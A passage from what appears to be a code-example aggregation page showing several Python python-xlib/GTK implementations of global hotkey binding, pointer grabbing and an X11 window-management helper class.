p = subprocess.Popen('gnome-screensaver-command -i'.split())
time.sleep(1)
 
while True:
    print (display.next_event())
    p.terminate()
    break
Example #28
0
class PointerMonitor(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)
        self.display = Display()
        self.root = self.display.screen().root
        self.windows = []

    # Receives GDK windows
    def addWindowToMonitor(self, window):
        self.windows.append(window)

    def grabPointer(self):
        self.root.grab_button(X.AnyButton, X.AnyModifier, True,
                              X.ButtonPressMask, X.GrabModeSync,
                              X.GrabModeAsync, 0, 0)
        self.display.flush()

    def ungrabPointer(self):
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.flush()

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        while self.running:
            event = self.display.next_event()
            try:
                if event.type == X.ButtonPress:
                    # Check if pointer is inside monitored windows
                    for w in self.windows:
                        if (Gtk.MAJOR_VERSION, Gtk.MINOR_VERSION) >= (3, 20):
                            pdevice = Gdk.Display.get_default(
                            ).get_default_seat().get_pointer()
                        else:
                            pdevice = Gdk.Display.get_default(
                            ).get_device_manager().get_client_pointer()
                        p = self.get_window().get_device_position(pdevice)
                        g = self.get_size()
                        if p.x >= 0 and p.y >= 0 and p.x <= g.width and p.y <= g.height:
                            break
                    else:
                        # Is outside, so activate
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.ReplayPointer, event.time)
                else:
                    self.display.allow_events(X.ReplayPointer, X.CurrentTime)
            except Exception as e:
                print "Unexpected error: " + str(e)

    def stop(self):
        self.running = False
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.close()
Example #29
0
class PointerMonitor(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)
        self.display = Display()
        self.root = self.display.screen().root
        self.windows = []

    # Receives GDK windows
    def addWindowToMonitor(self, window):
        self.windows.append(window)

    def grabPointer(self):
        self.root.grab_button(X.AnyButton, X.AnyModifier, True, X.ButtonPressMask, X.GrabModeSync, X.GrabModeAsync, 0, 0)
        self.display.flush()

    def ungrabPointer(self):
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.flush()

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        while self.running:
            event = self.display.next_event()
            try:
                if event.type == X.ButtonPress:
                    # Check if pointer is inside monitored windows
                    for w in self.windows:
                        if Gtk.check_version (3, 20, 0) is None:
                            pdevice = Gdk.Display.get_default().get_default_seat().get_pointer()
                        else:
                            pdevice = Gdk.Display.get_default().get_device_manager().get_client_pointer()
                        p = self.get_window().get_device_position(pdevice)
                        g = self.get_size()

                        if p.x >= 0 and p.y >= 0 and p.x <= g.width and p.y <= g.height:
                            break
                    else:
                        # Is outside, so activate
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.ReplayPointer, event.time)
                else:
                    self.display.allow_events(X.ReplayPointer, X.CurrentTime)
            except Exception as e:
                print "Unexpected error: " + str(e)

    def stop(self):
        self.running = False
        self.root.ungrab_button(X.AnyButton, X.AnyModifier)
        self.display.close()
Example #30
0
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)

        gdk.gdk_keymap_get_default.restype = c_void_p
        self.keymap = capi.get_widget (gdk.gdk_keymap_get_default())
        self.display = Display()
        self.screen = self.display.screen()
        self.window = self.screen.root
        self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask)
        self.map_modifiers()
        self.raw_keyval = None
        self.keytext = ""

    def is_hotkey(self, key, modifier):
        keymatch = False
        modmatch = False
        modifier = modifier & ~Gdk.ModifierType.SUPER_MASK
        modint = int(modifier)
        if self.get_keycode(key) == self.keycode:
            keymatch = True
        for ignored_mask in self.ignored_masks:
            if self.modifiers | ignored_mask == modint | ignored_mask:
                modmatch = True
                break
        return keymatch and modmatch

    def map_modifiers(self):
        gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK,
                         Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK,
                         Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            if "Mod" not in Gtk.accelerator_name(0, modifier) or "Mod4" in Gtk.accelerator_name(0, modifier):
                self.known_modifiers_mask |= modifier

    def get_keycode(self, keyval):
        count = c_int()
        array = (KeymapKey * 10)()
        keys = cast(array, POINTER(KeymapKey))
        gdk.gdk_keymap_get_entries_for_keyval.argtypes = [c_void_p, c_uint, c_void_p, c_void_p]
        gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count))
        return keys[0].keycode

    def grab(self, key):
        accelerator = key
        accelerator = accelerator.replace("<Super>", "<Mod4>")
        keyval, modifiers = Gtk.accelerator_parse(accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return False

        self.keytext = key
        self.keycode = self.get_keycode(keyval)
        self.modifiers = int(modifiers)

        catch = error.CatchError(error.BadAccess)
        for ignored_mask in self.ignored_masks:
            mod = modifiers | ignored_mask
            result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch)
        self.display.flush()
        # sync has been blocking. Don't know why.
        #self.display.sync()
        if catch.get_error():
            return False
        return True

    def ungrab(self):
        if self.keycode:
            self.window.ungrab_key(self.keycode, X.AnyModifier, self.window)
            
    def rebind(self, key):
        self.ungrab()
        if key != "":
            self.grab(key)
        else:
            self.keytext = ""
    
    def set_focus_window(self, window = None):
        self.ungrab()
        if window is None:
            self.window = self.screen.root
        else:
            gdk.gdk_x11_drawable_get_xid.argtypes = [c_void_p]
            self.window = self.display.create_resource_object("window", gdk.gdk_x11_drawable_get_xid(hash(window)))
        self.grab(self.keytext)

    def get_mask_combinations(self, mask):
        return [x for x in xrange(mask+1) if not (x & ~mask)]

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            try:
                self.current_event_time = event.time
                if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                    modifiers = event.state & self.known_modifiers_mask
                    if modifiers == self.modifiers:
                        wait_for_release = True
                        self.display.allow_events(X.AsyncKeyboard, event.time)
                    else:
                        self.display.allow_events(X.ReplayKeyboard, event.time)
                elif event.detail == self.keycode and wait_for_release:
                    if event.type == X.KeyRelease:
                        wait_for_release = False
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.allow_events(X.ReplayKeyboard, event.time)
            except AttributeError:
                continue

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
Example #31
0
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
        }

    def __init__(self):
        GObject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)

        self.keymap = capi.get_widget (gdk.gdk_keymap_get_default())
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask)
        self.map_modifiers()

    def map_modifiers(self):
        gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK,
                         Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK,
                         Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            if "Mod" not in Gtk.accelerator_name(0, modifier):
                self.known_modifiers_mask |= modifier

    def grab(self, key):
        Gdk.threads_enter()
        accelerator = key
        Gdk.threads_leave()
        keyval, modifiers = Gtk.accelerator_parse(accelerator)
        print keyval, modifiers
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return False
        count = c_int()
        keys = KeymapKey * 10
        gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count))
        self.keycode =  keys[0].keycode
        self.modifiers = int(modifiers)

        catch = error.CatchError(error.BadAccess)
        for ignored_mask in self.ignored_masks:
            mod = modifiers | ignored_mask
            result = self.root.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch)
        self.display.sync()
        if catch.get_error():
            return False
        return True

    def ungrab(self, key):
        if self.keycode:
            self.root.ungrab_key(self.keycode, X.AnyModifier, self.root)

    def get_mask_combinations(self, mask):
        return [x for x in xrange(mask+1) if not (x & ~mask)]

    def idle(self):
        # Gdk.threads_enter()
        self.emit("activate")
        # Gdk.threads_leave()
        return False

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            self.current_event_time = event.time
            if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                modifiers = event.state & self.known_modifiers_mask
                if modifiers == self.modifiers:
                    wait_for_release = True
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.allow_events(X.ReplayKeyboard, event.time)
            elif event.detail == self.keycode and wait_for_release:
                if event.type == X.KeyRelease:
                    wait_for_release = False
                    GLib.idle_add(self.idle)
                self.display.allow_events(X.AsyncKeyboard, event.time)
            else:
                self.display.allow_events(X.ReplayKeyboard, event.time)

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate':(GObject.SIGNAL_RUN_LAST, None,()),
        }

    def __init__(self):
        GObject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)
        
        self.keymap = Gdk.Keymap.get_default()
        self.display = Display()
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.map_modifiers()

    def map_modifiers(self):
        gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK,
                         Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK,
                         Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            # Do you know how to handle unknown "Mod*" keys?
            # They are usually Locks and something like that
            if "Mod" not in Gtk.accelerator_name(0, modifier):
                self.known_modifiers_mask |= modifier

    def grab(self):
        Gdk.threads_enter()
        accelerator = ConfigManager.get_conf('global-key')
        Gdk.threads_leave()
        keyval, modifiers = Gtk.accelerator_parse(accelerator)
        if not accelerator or(not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return

        self.keycode= self.keymap.get_entries_for_keyval(keyval)[1][0].keycode
        self.modifiers = int(modifiers)

        catch = error.CatchError(error.BadAccess)
        self.root.grab_key(self.keycode, X.AnyModifier, True, X.GrabModeAsync, X.GrabModeSync,onerror=catch)
        self.display.sync()
        if catch.get_error():
            return False
        return True
        
    def ungrab(self):
        if self.keycode:
            self.root.ungrab_key(self.keycode, X.AnyModifier, self.root)
        
    def idle(self):
        Gdk.threads_enter()
        self.emit("activate")
        Gdk.threads_leave()
        return False

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            self.current_event_time = event.time
            if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                modifiers = event.state & self.known_modifiers_mask
                if modifiers == self.modifiers:
                    wait_for_release = True
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.allow_events(X.ReplayKeyboard, event.time)
            elif event.detail == self.keycode and wait_for_release:
                if event.type == X.KeyRelease:
                    wait_for_release = False
                    GObject.idle_add(self.idle)
                self.display.allow_events(X.AsyncKeyboard, event.time)
            else:
                self.display.allow_events(X.ReplayKeyboard, event.time)

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
Example #33
0
class KeyBindingManager(threading.Thread):
	"""
	An Xlib-based global key bindings manager.
	"""
	__metaclass__ = Singleton

	def __init__(self):
		super(KeyBindingManager, self).__init__()
		self.daemon = True
		self.display = Display()
		self.root = self.display.screen().root
		self._binding_map = {}

		self.known_modifiers_mask = 0
		gdk_modifiers = (gtk.gdk.CONTROL_MASK, gtk.gdk.SHIFT_MASK, gtk.gdk.MOD1_MASK,
			gtk.gdk.MOD2_MASK, gtk.gdk.MOD3_MASK, gtk.gdk.MOD4_MASK, gtk.gdk.MOD5_MASK,
			gtk.gdk.SUPER_MASK, gtk.gdk.HYPER_MASK)
		for mod in gdk_modifiers:
			self.known_modifiers_mask |= mod


	def add_binding_from_string(self, binding_string, action, args=(), kwargs={}):
		"""
		Add a key binding from an accelerator string.
		Uses gtk.accelerator_parse to parse the string; according to the docs,
		this is "fairly liberal" and "allows abbreviations such as '<Ctrl>' and '<Ctl>'".
		"""
		print 'Adding', binding_string
		keyval, modifiers = gtk.accelerator_parse(binding_string)
		print modifiers
		action = (action, args, kwargs)
		keycode = gtk.gdk.keymap_get_default().get_entries_for_keyval(keyval)[0][0]
		self._binding_map[(keycode, modifiers)] = action
		self.regrab()

	def grab(self):
		for (keycode, modifiers) in self._binding_map.keys():
			self.root.grab_key(keycode, int(modifiers), True, X.GrabModeAsync, X.GrabModeSync)

	def ungrab(self):
		for (keycode, modifiers) in self._binding_map.keys():
			self.root.ungrab_key(keycode, modifiers, self.root)

	def regrab(self):
		self.ungrab()
		self.grab()


	def _action_idle(self, action):
		gtk.gdk.threads_enter()
		action, args, kwargs = action
		gobject.idle_add(action, args, kwargs)
		gtk.gdk.threads_leave()
		return False

	def run(self):
		self.running = True
		wait_for_release = False
		while self.running:
			event = self.display.next_event()
			if event.type == X.KeyPress and not wait_for_release:
				keycode = event.detail
				modifiers = event.state & self.known_modifiers_mask
				try:
					action = self._binding_map[(keycode, modifiers)]
				except KeyError:
					# This key binding isn't handled by Snappy.
					self.display.allow_events(X.ReplayKeyboard, event.time)
				else:
					# Get the action ready for when the key combo is released
					wait_for_release = True
					self.display.allow_events(X.AsyncKeyboard, event.time)
					self._upcoming_action = (keycode, modifiers, action)

			elif event.type == X.KeyRelease and wait_for_release and event.detail == self._upcoming_action[0]:
				# The user has released the key combo; run the queued action
				wait_for_release = False
				action = self._upcoming_action[2]
				del self._upcoming_action
				gobject.idle_add(self._action_idle, action)
				self.display.allow_events(X.AsyncKeyboard, event.time)

			else:
				self.display.allow_events(X.ReplayKeyboard, event.time)

	def stop(self):
		self.running = False
		self.ungrab()
		self.display.close()
Example #34
0
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__ (self)
        threading.Thread.__init__ (self)
        self.setDaemon (True)

        self.keymap = Gdk.Keymap().get_default()
        self.display = Display()
        self.screen = self.display.screen()
        self.window = self.screen.root
        self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask)
        self.map_modifiers()
        self.raw_keyval = None
        self.keytext = ""

    def map_modifiers(self):
        gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK,
                        Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK,
                        Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            if "Mod" not in Gtk.accelerator_name(0, modifier) or "Mod4" in Gtk.accelerator_name(0, modifier):
                self.known_modifiers_mask |= modifier

    def grab(self, key):
        accelerator = key
        accelerator = accelerator.replace("<Super>", "<Mod4>")
        keyval, modifiers = Gtk.accelerator_parse(accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return False

        self.keytext = key
        try:
            self.keycode = self.keymap.get_entries_for_keyval(keyval).keys[0].keycode
        except:
            # In Betsy, the get_entries_for_keyval() returns an unamed tuple...
            self.keycode = self.keymap.get_entries_for_keyval(keyval)[1][0].keycode
        self.modifiers = int(modifiers)

        catch = error.CatchError(error.BadAccess)
        for ignored_mask in self.ignored_masks:
            mod = modifiers | ignored_mask
            result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeAsync, onerror=catch)
        self.display.flush()
        # sync has been blocking. Don't know why.
        #self.display.sync()
        if catch.get_error():
            return False
        return True

    def ungrab(self):
        if self.keycode:
            self.window.ungrab_key(self.keycode, X.AnyModifier, self.window)

    def rebind(self, key):
        self.ungrab()
        if key != "":
            self.grab(key)
        else:
            self.keytext = ""

    def set_focus_window(self, window = None):
        self.ungrab()
        if window is None:
            self.window = self.screen.root
        else:
            self.window = self.display.create_resource_object("window", window.get_xid())
        self.grab(self.keytext)

    def get_mask_combinations(self, mask):
        return [x for x in xrange(mask+1) if not (x & ~mask)]

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()
            try:
                self.current_event_time = event.time
                if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release:
                    modifiers = event.state & self.known_modifiers_mask
                    if modifiers == self.modifiers:
                        wait_for_release = True
                        self.display.allow_events(X.AsyncKeyboard, event.time)
                    else:
                        self.display.allow_events(X.ReplayKeyboard, event.time)
                elif event.detail == self.keycode and wait_for_release:
                    if event.type == X.KeyRelease:
                        wait_for_release = False
                        GLib.idle_add(self.idle)
                    self.display.allow_events(X.AsyncKeyboard, event.time)
                else:
                    self.display.send_event(self.window, event, X.KeyPressMask | X.KeyReleaseMask, True)
                    self.display.allow_events(X.ReplayKeyboard, event.time)
                    wait_for_release = False
            except AttributeError:
                continue

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
Example #35
0
class GlobalKeyBinding(GObject.GObject, threading.Thread):
    __gsignals__ = {
        'activate': (GObject.SignalFlags.RUN_LAST, None, ()),
    }

    def __init__(self):
        GObject.GObject.__init__(self)
        threading.Thread.__init__(self)
        self.setDaemon(True)

        self.keymap = Gdk.Keymap().get_default()
        self.display = Display()
        self.screen = self.display.screen()
        self.window = self.screen.root
        self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask
                                                        | X.Mod5Mask)
        self.map_modifiers()
        self.raw_keyval = None
        self.keytext = ""

    def map_modifiers(self):
        gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK,
                         Gdk.ModifierType.SHIFT_MASK,
                         Gdk.ModifierType.MOD1_MASK,
                         Gdk.ModifierType.MOD2_MASK,
                         Gdk.ModifierType.MOD3_MASK,
                         Gdk.ModifierType.MOD4_MASK,
                         Gdk.ModifierType.MOD5_MASK,
                         Gdk.ModifierType.SUPER_MASK,
                         Gdk.ModifierType.HYPER_MASK)
        self.known_modifiers_mask = 0
        for modifier in gdk_modifiers:
            if "Mod" not in Gtk.accelerator_name(
                    0, modifier) or "Mod4" in Gtk.accelerator_name(
                        0, modifier):
                self.known_modifiers_mask |= modifier

    def grab(self, key):
        accelerator = key
        accelerator = accelerator.replace("<Super>", "<Mod4>")
        keyval, modifiers = Gtk.accelerator_parse(accelerator)
        if not accelerator or (not keyval and not modifiers):
            self.keycode = None
            self.modifiers = None
            return False

        self.keytext = key
        try:
            self.keycode = self.keymap.get_entries_for_keyval(
                keyval).keys[0].keycode
        except AttributeError:
            # In older Gtk3 the get_entries_for_keyval() returns an unnamed tuple...
            self.keycode = self.keymap.get_entries_for_keyval(
                keyval)[1][0].keycode
        self.modifiers = int(modifiers)

        # Request to receive key press/release reports from other windows that may not be using modifiers
        catch = error.CatchError(error.BadWindow)
        if self.modifiers:
            self.window.change_attributes(onerror=catch,
                                          event_mask=X.KeyPressMask
                                          | X.KeyReleaseMask)
        else:
            self.window.change_attributes(onerror=catch,
                                          event_mask=X.NoEventMask)
        if catch.get_error():
            return False

        catch = error.CatchError(error.BadAccess)
        for ignored_mask in self.ignored_masks:
            mod = modifiers | ignored_mask
            result = self.window.grab_key(self.keycode,
                                          mod,
                                          True,
                                          X.GrabModeAsync,
                                          X.GrabModeAsync,
                                          onerror=catch)
        self.display.flush()
        # sync has been blocking. Don't know why.
        #self.display.sync()
        if catch.get_error():
            return False
        return True

    def ungrab(self):
        if self.keycode:
            self.window.ungrab_key(self.keycode, X.AnyModifier, self.window)

    def rebind(self, key):
        self.ungrab()
        if key != "":
            self.grab(key)
        else:
            self.keytext = ""

    def set_focus_window(self, window=None):
        self.ungrab()
        if window is None:
            self.window = self.screen.root
        else:
            self.window = self.display.create_resource_object(
                "window", window.get_xid())
        self.grab(self.keytext)

    def get_mask_combinations(self, mask):
        return [x for x in xrange(mask + 1) if not (x & ~mask)]

    def idle(self):
        self.emit("activate")
        return False

    def activate(self):
        GLib.idle_add(self.run)

    def run(self):
        self.running = True
        wait_for_release = False
        while self.running:
            event = self.display.next_event()

            if self.modifiers:
                # Use simpler logic when using traditional combined keybindings
                modifiers = event.state & self.known_modifiers_mask
                if event.type == X.KeyPress and event.detail == self.keycode and modifiers == self.modifiers:
                    GLib.idle_add(self.idle)

            else:
                try:
                    if event.type == X.KeyPress and event.detail == self.keycode and not wait_for_release:
                        modifiers = event.state & self.known_modifiers_mask
                        if modifiers == self.modifiers:
                            wait_for_release = True
                    elif event.type == X.KeyRelease and event.detail == self.keycode and wait_for_release:
                        GLib.idle_add(self.idle)
                        wait_for_release = False
                    else:
                        self.display.ungrab_keyboard(X.CurrentTime)
                        # Send the event up in case another window is listening to it
                        self.display.send_event(
                            event.window, event,
                            X.KeyPressMask | X.KeyReleaseMask, True)
                        wait_for_release = False
                except AttributeError:
                    continue

    def stop(self):
        self.running = False
        self.ungrab()
        self.display.close()
Example #36
0
class KnoX:
    Geometry = namedtuple("Geometry", "x y width height")
    FrameExtents = namedtuple("FrameExtents", "left right top bottom")

    def __init__(self):
        #self.display = Display(os.environ.get("DISPLAY", ":0.0"))
        self.display = Display()
        print("Connected to X DISPLAY %r" % self.display.get_display_name())
        self.display.set_error_handler(self.knox_error_handler)
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.atoms = dict()
        self.atom_names = dict()
        self.keysyms = Keysyms()
        self.modifiers = Modifiers(self)
        self._supported_properties = None
        self._acceptable_error_sequence = 0
        self._acceptable_errors = dict()
        self._silenced_errors = set()

    def fileno(self):
        """This function is here to make select work with this object"""
        return self.display.fileno()

    @contextmanager
    def silenced_error(self, error):
        silencer = self.silence_error(error)
        try:
            yield silencer
        finally:
            self.remove_silencer(silencer)

    def silence_error(self, error):
        k = self._acceptable_error_sequence
        self._acceptable_errors[k] = error
        self._acceptable_error_sequence += 1
        self._silenced_errors = set(self._acceptable_errors.values())
        return k

    def remove_silencer(self, key):
        if key in self._acceptable_errors:
            del self._acceptable_errors[key]
            self._silenced_errors = set(self._acceptable_errors.values())

    def knox_error_handler(self, err, *args):
        if type(err) not in self._silenced_errors:
            print("X protocol error: %s" % err)
            traceback.print_stack()

    # def wait_for_event(self, timeout_seconds):
    #     """ Wait up to `timeout_seconds` seconds for an event to be queued.
    #     Return True, if a xevent is available.
    #     Return False, if the timeout was reached.
    #     from https://gist.github.com/fphammerle/d81ca3ff0a169f062a9f28e57b18f04d"""
    #     rlist = select.select(
    #         [self.display], # rlist
    #         [], # wlist
    #         [], # xlist
    #         timeout_seconds, # timeout [seconds]
    #     )[0]
    #     return len(rlist) > 0

    def next_event(self, wait=True):
        if (wait or self.display.pending_events()):
            return self.display.next_event()
        else:
            return None

    # def next_event(self, event_loop):
    #     event_loop.register_reader(self.display,

    def atom(self, name, only_if_exists=False):
        if isinstance(name, int):
            a = name
        elif name not in self.atoms:
            a = self.display.get_atom(name, only_if_exists=only_if_exists)
            self.atoms[name] = a
        else:
            a = self.atoms[name]
        return a

    def atom_name(self, atom):
        if atom in self.atom_names:
            return self.atom_names[atom]
        name = self.display.get_atom_name(atom)
        if name:
            self.atom_names[atom] = name
            if name not in self.atoms:
                self.atoms[name] = atom
            return name

    def get_prop(self, window, name):
        prop_name = self.atom(name, only_if_exists=True)
        if not prop_name:
            return None
        if isinstance(window, int):
            window = self.get_window(window)
        p = window.get_full_property(prop_name, X.AnyPropertyType)
        if p:
            return p.value

    def get_text_prop(self, window, name):
        prop_name = self.atom(name, only_if_exists=True)
        if not prop_name:
            return None
        s = window.get_full_text_property(prop_name, Xatom.STRING)
        if not s:
            t = self.atom("UTF8_STRING", only_if_exists=True)
            if t:
                s = window.get_full_text_property(prop_name, t)
        return s

    def onerror(self, *args, **kwargs):
        print("ERROR: something bad happened about %r and %r" % (args, kwargs))
        raise Exception("Error is bad...")

    def set_prop(self, window, name, type_name, value):
        if isinstance(window, int):
            window = self.get_window(window)
        if isinstance(type_name, int):
            prop_type_name = type_name
            #type_name = self.atom_name(prop_type_name)
        else:
            prop_type_name = self.atom(type_name, only_if_exists=False)

        prop_name = self.atom(name, only_if_exists=False)

        if value is None:
            window.delete_property(prop_name)
        else:
            window.change_property(prop_name,
                                   prop_type_name,
                                   32,
                                   value,
                                   mode=X.PropModeReplace,
                                   onerror=self.onerror)

    def send_prop_change_event(
        self,
        property_name,
        data,
        target=None,
        window=None,
    ):
        if target is None:
            target = self.root
        if window is None:
            window = target
        ev = protocol.event.ClientMessage(window=window,
                                          client_type=self.atom(property_name),
                                          data=data)
        target.send_event(ev,
                          event_mask=X.SubstructureNotifyMask
                          | X.SubstructureRedirectMask,
                          propagate=False,
                          onerror=self.onerror)

    def current_desktop(self, desktop=None, wait=True):
        prop_name = "_NET_CURRENT_DESKTOP"
        if desktop is None:
            pv = self.get_prop(self.root, prop_name)
            if pv:
                return pv[0]
        else:
            v = array('I', [desktop])
            #self.set_prop(self.root, prop_name, Xatom.CARDINAL, v)
            self.send_prop_change_event(
                prop_name, (32, [desktop, X.CurrentTime, 0, 0, 0]))
            self.flush()
            w = Waiter(wait)
            while w.wait():
                print("DESKTOPCHECK", hex(desktop))
                if self.current_desktop() == desktop:
                    print("DESKTOP OK")
                    break

    def get_wm_pid(self, window):
        pid_prop = self.get_prop(window, "_NET_WM_PID")
        if pid_prop:
            return pid_prop[0]
        return None

    def get_wm_name(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        # window.get_wm_name gets only STRING property and returns nothing
        # if it's UTF8_STRING
        return self.get_text_prop(window, Xatom.WM_NAME)

    def active_window(self, window=None, wait=3, id_only=False):
        prop_name = "_NET_ACTIVE_WINDOW"
        if window is None:
            pv = self.get_prop(self.root, prop_name)
            if pv and pv[0]:
                window = self.get_window(pv[0])
                if window and window.get_wm_name() != 'Desktop':
                    if id_only:
                        return window.id
                    else:
                        return window
        else:
            if isinstance(window, int):
                window = self.get_window(window)
            desktop = self.get_desktop_for_window(window)
            self.current_desktop(desktop)
            #v = array('I', [ window.id, 0 ])
            #self.set_prop(self.root, prop_name, Xatom.WINDOW, v)
            # data[0]: source indication
            #   1: when the request comes from an application
            #   2: from a pager
            #   0: no spec.
            self.send_prop_change_event(prop_name,
                                        (32, [2, X.CurrentTime, 0, 0, 0]),
                                        window=window)
            self.flush()
            #self.raise_window(window)
            # it won't become active until it's focused
            focused = self.set_focused_window(window, wait=1)
            w = Waiter(wait)
            while w.wait():
                a = self.active_window()
                self.flush()
                if not focused:
                    focused = self.set_focused_window(window, wait=1)
                    self.flush()
                if a and a.id == window.id:
                    print("Activated %r!" % window.id)
                    return True
                self.send_prop_change_event(prop_name,
                                            (32, [2, X.CurrentTime, 0, 0, 0]),
                                            window=window)
                self.flush()
            print("Can't activate %d" % window.id)
            return False

    def get_focused_window(self, toplevel=True):
        f = self.display.get_input_focus()
        #f = protocol.request.GetInputFocus(display=self.display.display)
        if f.focus in [X.NONE, X.PointerRoot]:
            return None
        if toplevel:
            w = self.get_client_window(f.focus)
            if w is not None:
                return w.id
        return f.focus.id

    def raise_window(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        elif window is None:
            return
        window.raise_window()

    def focus_error(self, *args, **kwargs):
        print("Cannot set_input_focus: %r %r" % (args, kwargs))

    def set_focused_window(self, window, wait=3):
        if window is None:
            self.display.set_input_focus(X.NONE,
                                         X.RevertToParent,
                                         X.CurrentTime,
                                         onerror=self.focus_error)
            return True
        elif not wait:
            self.display.set_input_focus(window, X.RevertToParent,
                                         X.CurrentTime)
            return True
        else:
            with self.silenced_error(error.BadMatch):
                if isinstance(window, int):
                    window = self.get_window(window)
                self.display.set_input_focus(window, X.RevertToParent,
                                             X.CurrentTime)
                self.flush()
                w = Waiter(wait)
                while w.wait():
                    if w.timeout:
                        if w.progressed:
                            print("WAITING %.3f seconds more for focus on %r" %
                                  (w.remaining, window.id))
                        else:
                            print(
                                "READY TO WAIT %.3f seconds for focus on %r" %
                                (w.remaining, window.id))
                    focused_win_id = self.get_focused_window()
